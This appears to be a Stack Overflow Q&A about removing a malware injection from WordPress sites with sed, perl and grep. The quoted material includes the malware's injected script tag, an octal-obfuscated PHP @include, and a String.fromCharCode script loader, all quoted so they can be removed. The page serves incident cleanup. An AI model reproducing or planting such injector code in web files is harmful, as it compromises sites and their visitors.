bash - How to replace whole string using sed or possibly grep

shell (5)

So my whole server got hacked or got the malware problem. my site is based on WordPress and the majority of sites hosted on my server is WordPress based. The hacker added this line of code to every single file and in database

<script type='text/javascript' src=''></script>

I did search it via grep using

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

I'm trying to replace it throughout the file structure with sed and I've written the following command.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

I'm trying to replace the string on a single file index.php first, so I know it works.

and I know my code is wrong. Please help me with this.

Edit: I tried with the @Eran's code and it deleted the whole line, which is good and as expected. However, the total jargon is this


@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";


And while I wish to delete all the content, I wish to keep the php opening tag <?php .

Though @slybloty's solution is easy and it worked.

so to remove the code fully from all the affected files. I'm running the following 3 commands, Thanks to all of you for this.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/\/talk.js?track=r&subid=547'><\/script>//g" - To Remove the script line
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d' - To remove the @include line
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - To remove the comment line

Also, I ran all 3 commands again for '*.html' , because the hacker's script created unwanted index.html in all the directories. I was not sure if deleting these index.html in bulk is the right approach.

now, I still need to figure out the junk files and traces of it.


The hacker script added the JS code as well.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {

Trying to see if I can sed it as well.

Do you have wp-mail-smtp plugin installed? We have the same malware and we had some weird thing in wp-content/plugins/wp-mail-smtp/src/Debug.php .

Also, the javascript link is in every post_content field in wp_posts in WordPress database.

For me worked this:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

You have to search for : *.js, *.json, *.map

I've got the same thing today, all page posts got the script added. I've handled with them successfully by using plugin.

Moreover, I've also found one record in wp_posts table post_content column folowing string:

<a href=";subid=043">;subid=043</a>

and deleted it manually.

Use double quotes ( " ) for the string and don't escape the single quotes ( ' ) nor the tags ( <> ). Only escape the slashes ( / ).

sed -i "s/<script type='text\/javascript' src='https:\/\/\/talk.js?track=r&subid=547'><\/script>//g" index.php

single quotes are taken literally. There are no escape characters there. So when you do var='hello\'' , you have an un-closed quote. Use double quotes to surround the sed command or you have to terminate the single quoted string and add \' and reopen the quote string... but that gets confusing. Also, sed can use any delimiter to separate commands. Since you actually have slashes in the commands, it would be easier to use commas or something. So you can do this:

sed -i "s,\\<script type='text/javascript' src=''\\>\\</script\\>,,g" index.php

Or the second method I suggested is a bit more confusing:

sed -i 's,\<script type='\''text/javascript'\'' src='\'''\''\>\</script\>,,g' index.php

This example is more educational than practical. Here is how '\'' is working:

First ' : End current quoted literal string

\' : Enter single quote as literal character

Second ' : Re-enter quoted literal string

As long as there are no spaces there, you will just be continuing your sed command. This idea is something I feel is very unique to bash .

I am leaving the escaped < and > in there because I'm not entirely sure what you are using this for. sed uses the \< and \> to mean word matching. I'm not sure if that is intentional or not...

If this is not matching anything, then you probably want to avoid escaping the < and > .

Edit: Please see @EranBen-Natan's solution in the comments for a more practical solution to the actual problem. My answer is more of a resource as to why OP was being prompted for more input with his original command.

Solution for edit 2

For this to work, I'm making the assumption that your sed has the non-standard option -z . GNU version of sed should have this. I'm also making the assumption that this code always appears in the format being 6 lines long

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

How it works: We are using the beginning of the fromCharCode line to match everything. -z splits the file on nulls instead of new lines. This allows us to search for line feeds directly.

[^\n]*\n - Just means match everything until a line feed, then match the line feed. The idea here is to avoid greedy regex matching. Because we aren't splitting on line feeds ( -z ), the regex var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n would match the largest possible match. For example, if \n}\n appeared anywhere further down in the file, you would delete all the code between there and the malicious code. So repeating this sequence 6 times matches us to the end of the first line as well as the next 5 lines.

grep -lr - Just a recursive grep where we only list the files that have the matching pattern. This way, sed isn't editing every file. Without this, -i.bak (not plain -i ) would make a real mess of things.